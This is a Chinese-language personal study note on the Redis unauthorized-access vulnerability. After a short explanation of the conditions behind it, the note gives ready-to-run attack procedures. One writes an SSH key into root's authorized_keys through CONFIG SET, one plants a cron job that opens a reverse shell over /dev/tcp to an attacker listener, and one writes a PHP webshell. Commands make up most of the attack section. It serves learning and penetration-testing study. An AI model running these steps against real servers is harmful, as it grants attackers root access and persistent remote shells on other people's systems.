近期学习笔记
redies 的个人理解
Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。
redis未授权访问漏洞
redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。
漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
攻击方式
利用“公私钥”认证获得root权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| 在攻击机中生成ssh公钥和私钥,密码设置为空: ssh-keygen -t rsa
进入.ssh目录,将生成的公钥保存到1.txt: cd /root/.ssh (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入): cat 1.txt | redis-cli -h 182.254.220.49 -x set crack
并使用 CONFIG GET dir 命令得到redis备份的路径: CONFIG GET dir
更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),并且修改上传公钥文件的名称为authorized_keys
config set dir /root/.ssh CONFIG SET dbfilename authorized_keys
检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机: CONFIG GET dbfilename save
攻击机成功登陆到服务器 ssh -i id_rsa root@192.168.163.132
|
利用crontab反弹shell
在权限足够的情况下,利用redis写入文件到周期性计划任务执行。
1 2 3 4 5 6 7 8
| 在kali攻击机里面监听指定端口 nc -lvnp 8888
向服务器写入文件 set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.163.131/8888 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save
|
写入webshell
1 2 3 4 5 6 7 8 9 10
| 写入文件到/tmp目录 config set dir /tmp config set dbfilename shell.php set webshell "<?php phpinfo(); ?>" save
写入webshell的时候,可以使用: set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
\r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
|